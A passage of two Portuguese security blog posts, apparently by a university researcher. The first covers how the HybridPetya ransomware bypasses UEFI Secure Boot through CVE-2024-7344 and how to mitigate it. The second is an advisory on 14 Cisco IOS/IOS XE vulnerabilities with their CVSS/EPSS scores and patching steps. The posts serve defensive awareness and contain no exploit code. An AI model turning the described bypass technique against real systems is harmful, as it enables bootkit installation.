Uma das variantes analisadas do HybridPetya explora a vulnerabilidade CVE-2024-7344 para contornar o UEFI Secure Boot. Esta falha de segurança reside em uma aplicação UEFI assinada pela Microsoft, chamada “Reloader“, que permite a execução de código não assinado a partir de um arquivo chamado cloak.dat. O HybridPetya explora essa falha para executar seu bootkit UEFI mesmo em sistemas com o Secure Boot ativado, desde que não tenham recebido as atualizações de revogação da Microsoft.
Diferenças em Relação ao Petya e NotPetya
Apesar das semelhanças, o HybridPetya apresenta diferenças cruciais em relação aos seus predecessores:
Característica
Petya (2016)
NotPetya (2017)
HybridPetya (2025)
Propósito
Ransomware
Destrutivo (wiper)
Ransomware
Recuperação
Possível
Impossível
Possível
Alvo
MBR e MFT
MBR e MFT
MFT (via UEFI)
UEFI
Não
Não
Sim
Propagação
Limitada
Agressiva (rede)
Limitada (até o momento)
É importante notar que, ao contrário do NotPetya, o HybridPetya foi projetado para funcionar como um ransomware tradicional. O algoritmo de geração de chaves, inspirado no proof-of-conceptRedPetyaOpenSSL, permite que o operador do malware reconstrua a chave de descriptografia, tornando a recuperação dos dados possível mediante o pagamento do resgate.
Implicações de Segurança e Mitigação
O surgimento do HybridPetya reforça a importância da segurança de firmware e da necessidade de manter os sistemas atualizados. As seguintes medidas são recomendadas para mitigar o risco de ataques como este:
Atualizações de Firmware e SO: Manter o firmware UEFI e o sistema operacional sempre atualizados é a principal linha de defesa.
Atualizações de Revogação (dbx): Garantir que as atualizações de revogação do Secure Boot da Microsoft sejam aplicadas para bloquear a execução de binários vulneráveis conhecidos, como o explorado pela CVE-2024-7344.
Monitoramento da ESP: Monitorar a EFI System Partition em busca de modificações não autorizadas pode ajudar a detectar a instalação de bootkits UEFI.
Controle de Acesso: Restringir o acesso de gravação à ESP para usuários e processos não privilegiados.
Conclusão
O HybridPetya representa uma nova e sofisticada ameaça no cenário de ransomware, demonstrando a contínua evolução das técnicas de ataque para o nível de firmware. Embora ainda não tenha sido observado em campanhas ativas, seu potencial de dano é significativo, especialmente em ambientes que não seguem as melhores práticas de segurança de firmware. A comunidade de segurança deve permanecer vigilante e proativa na implementação de medidas de defesa para se proteger contra esta e outras ameaças emergentes.
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
Este alerta de segurança aborda a descoberta de 14 vulnerabilidades graves que afetam os dispositivos das famílias de produtos Cisco IOS e IOS XE. A mais crítica destas vulnerabilidades, identificada como CVE-2025-20363, possui uma pontuação CVSS de 9.0 (Crítica) e permite a execução remota de código arbitrário sem necessidade de autenticação. A Cisco já disponibilizou as devidas atualizações de correção.
A exploração bem-sucedida destas vulnerabilidades pode levar a uma variedade de consequências danosas, incluindo a tomada de controlo total de dispositivos afetados, negação de serviço (DoS), escalonamento de privilégios e contorno de controlos de acesso. Dada a gravidade e o número de vulnerabilidades, recomenda-se a aplicação imediata das atualizações de segurança disponibilizadas pela Cisco para mitigar os riscos associados.
Vulnerabilidades Críticas
CVSS (Common Vulnerability Scoring System): Indica a gravidade técnica numa escala de 0 a 10.
EPSS (Exploit Prediction Scoring System): Estima a probabilidade de exploração nos próximos 30 dias numa escala de 0 a 1.
Percentil EPSS: Mostra a posição relativa comparada com todas as vulnerabilidades conhecidas. Percentis mais altos indicam maior probabilidade de exploração comparativa.
A lista a seguir resume as vulnerabilidades identificadas com os respectivos identificadores CVE e descrições.
CVE-2025-20363: Vulnerabilidade de estouro de memória que pode permitir a execução remota de código arbitrário. Produtos afetados: Cisco IOS e IOS XE. CVSS 9.0, EPSS 0.00164, Percentil 38.0%
CVE-2025-20334: Injeção de comandos nas interfaces de gestão do IOS XE, permitindo a execução remota de código. Produtos afetados: Cisco IOS XE. CVSS 8.8, EPSS 0.00098, Percentil 28.0%
CVE-2025-20315: Vulnerabilidade de negação de serviço (DoS) no reconhecimento de aplicações de rede do IOS XE. Produtos afetados: Cisco IOS XE. CVSS 8.6, EPSS 0.00105, Percentil 29.2%
CVE-2025-20160: Contorno do controlo de acesso do protocolo TACACS+ em dispositivos IOS e IOS XE. Produtos afetados: Cisco IOS e IOS XE. CVSS 8.1, EPSS 0.00069, Percentil 21.8%
CVE-2025-20352: Vulnerabilidade no SNMP que pode levar a DoS ou escalonamento de privilégios. Produtos afetados: Cisco IOS e IOS XE. CVSS 7.7, EPSS 0.00177, Percentil 39.7%
CVE-2025-20327: Vulnerabilidade que leva a DoS em switches industriais com IOS. Produtos afetados: Cisco IOS. CVSS 6.5, EPSS 0.00122, Percentil 32.1%
CVE-2025-20312: Vulnerabilidade de DoS no SNMP em dispositivos IOS XE. Produtos afetados: Cisco IOS XE. CVSS 6.5, EPSS 0.00174, Percentil 39.4%
CVE-2025-20311: Vulnerabilidade de DoS em dispositivos Cisco Catalyst 9000. Produtos afetados: Cisco Catalyst 9000. CVSS 6.5, EPSS 0.00019, Percentil 3.6%
CVE-2025-20149: Capacidade de um utilizador local causar DoS em dispositivos IOS XE. Produtos afetados: Cisco IOS XE. CVSS 5.5, EPSS 0.00023, Percentil 4.7%
CVE-2025-20240: Vulnerabilidade de Cross-Site Scripting (XSS) na interface de gestão do IOS XE. Produtos afetados: Cisco IOS XE. CVSS 5.4, EPSS 0.00040, Percentil 11.5%
CVE-2025-20338: Escalonamento de privilégios por um utilizador local em dispositivos IOS XE. Produtos afetados: Cisco IOS XE. CVSS 5.5, EPSS 0.00009, Percentil 0.6%
CVE-2025-20293: Contorno do controlo de acesso nos serviços de certificados para certos dispositivos IOS XE. Produtos afetados: Cisco IOS XE. CVSS 5.3, EPSS 0.00017, Percentil 2.8%
CVE-2025-20316: Contorno do controlo de acesso em certos dispositivos IOS XE. Produtos afetados: Cisco IOS XE. CVSS 5.3, EPSS 0.00023, Percentil 4.5%
Interpretação dos Valores EPSS
É importante notar que os valores EPSS apresentados são relativamente baixos (todos abaixo de 0.2%), o que pode parecer contraditório face à gravidade elevada das vulnerabilidades. Esta situação deve-se a estas vulnerabilidades terem sido publicadas muito recentemente (24 a 26 de setembro de 2025). O modelo EPSS baseia-se em dados históricos de exploração real e necessita de tempo para ajustar as suas previsões à medida que mais informações sobre tentativas de exploração se tornam disponíveis. Vulnerabilidades recém-descobertas começam tipicamente com pontuações baixas que aumentam gradualmente conforme os atacantes desenvolvem e implementam exploits. Apesar dos valores EPSS baixos, a gravidade técnica elevada (CVSS) destas vulnerabilidades, especialmente as que permitem execução remota de código, justifica a aplicação imediata das correções de segurança.
Sistemas Afetados
As vulnerabilidades afetam uma vasta gama de dispositivos da família de produtos Cisco IOS e IOS XE. Para uma lista detalhada dos dispositivos e versões de software afetados, é crucial consultar os avisos de segurança oficiais da Cisco.
Ações Recomendadas
Para mitigar os riscos associados a estas vulnerabilidades, recomendam-se as seguintes ações imediatas:
Identificação de Ativos: Realize um inventário completo de todos os dispositivos Cisco IOS e IOS XE presentes na sua rede.
Análise de Vulnerabilidade: Verifique as versões de software dos dispositivos identificados para determinar se estão vulneráveis.
Priorização de Correções: Dê prioridade à aplicação de correções nos dispositivos que estão expostos a redes externas ou que fazem parte de infraestruturas críticas.
Aplicação de Atualizações: Aplique as atualizações de segurança disponibilizadas pela Cisco o mais rapidamente possível, com especial atenção para a vulnerabilidade CVE-2025-20363.
Referências
Para mais informações, consulte os avisos de segurança da Cisco:
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
